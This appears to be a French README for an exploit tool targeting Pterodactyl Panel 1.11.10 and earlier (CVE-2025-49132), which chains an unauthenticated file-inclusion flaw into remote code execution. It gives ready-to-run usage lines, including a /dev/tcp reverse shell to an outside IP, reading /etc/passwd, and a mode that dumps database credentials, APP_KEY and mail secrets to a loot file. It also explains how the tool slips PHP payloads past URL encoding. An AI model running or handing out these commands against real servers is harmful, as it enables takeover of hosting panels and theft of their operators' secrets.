
Exploit pour Pterodactyl Panel ≤ 1.11.10 - LFI non authentifié vers RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit pour Pterodactyl Panel ≤ 1.11.10 - LFI non authentifié vers RCE.
Le point de terminaison /locales/locale.json accepte les paramètres locale et namespace qui sont passés directement au include() de PHP sans nettoyage ni authentification. Le paramètre hash censé prévenir les abus n'est jamais appliqué sur les versions non patchées.
Cela permet :
.php (identifiants base de données, APP_KEY, mail, session…)pearcmd.php (astuce register_argc_argv + config-create), chaînes de filtres PHP, ou désérialisation Laravel avec la APP_KEY divulguéeAffecté : Pterodactyl Panel ≤ 1.11.10
Corrigé dans : 1.11.11
Les PoC originaux utilisent Python requests pour envoyer la charge utile pearcmd. Le problème : requests encode silencieusement dans l'URL les caractères comme <, >, {, } - ce qui casse les balises PHP (<?=system(...)?>) intégrées dans l'URL.
Cet exploit corrige cela avec deux changements clés :
curl pour l'étape 1 - La requête de création de payload utilise curl -g (globoff) via subprocess, contournant complètement l'encodage URL de Python.hex2bin() pour l'encodage de commande - Au lieu d'injecter la commande brute (qui se brise sur les espaces et caractères spéciaux), la commande est encodée en hexadécimal et décodée côté serveur avec system(hex2bin('...')). L'hexadécimal utilise uniquement 0-9a-f - pas de +, =, &, ni espaces. Ainsi, n'importe quelle commande fonctionne, y compris les shells inversés avec >& et /dev/tcp/./usr/share/php, cet outil supporte pleinement l'argument --pear-dir. Il injecte dynamiquement le chemin personnalisé dans la requête curl brute, permettant l'exploitation de cibles avec des configurations non standard.pip install requests
Optionnel (pour les méthodes de chaîne de filtres / désérialisation RCE) :
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Commande simple
python3 exploit.py http://panel.fr --rce-cmd "id"
# Chaîne de filtres PHP (nécessite php_filter_chain_generator dans PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Chaîne de filtres pré-générée
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Désérialisation Laravel via APP_KEY divulguée (nécessite phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE avec un autre répertoire pear
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Shell inversé
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dump toutes les configurations (identifiants DB, APP_KEY, mail, session, CORS…) + tente une RCE automatique
python3 exploit.py http://panel.fr
--pear-dir| Distribution | Chemin |
|---|---|
Lorsqu'il est exécuté sans --rce-cmd / --rce-filter / --rce-d, l'exploit effectue une extraction complète de la configuration :
/etc/passwd, nom d'hôte, version du noyauUn rapport JSON complet est sauvegardé dans loot.json (ou chemin personnalisé via -o).
Cet exploit est une amélioration basée sur le PoC de GRodolphe/CVE-2025-49132_poc, lui-même inspiré du PoC original de 0xtensho/CVE-2025-49132-poc.
| Option | Description |
|---|
target | URL cible (ex. http://panel.pterodactyl.fr) |
--rce-cmd CMD | Exécute CMD via pearcmd (supporte toute commande, y compris shells inversés) |
--rce-filter CMD | Exécute CMD via chaîne de filtres PHP |
--filter-chain CHAIN | Utilise une chaîne php://filter pré-générée (avec --rce-filter) |
--rce-d CMD | Exécute CMD via désérialisation Laravel |
--pear-dir PATH | Chemin vers le répertoire pearcmd.php (défaut : /usr/share/php) |
--timeout N | Délai d'attente de la requête en secondes (défaut : 10) |
--verify-ssl | Activer la vérification du certificat SSL (désactivé par défaut) |
-o FILE | Fichier de rapport de sortie (défaut : loot.json) |
| Debian / Ubuntu |
/usr/share/php (défaut) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 ou /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |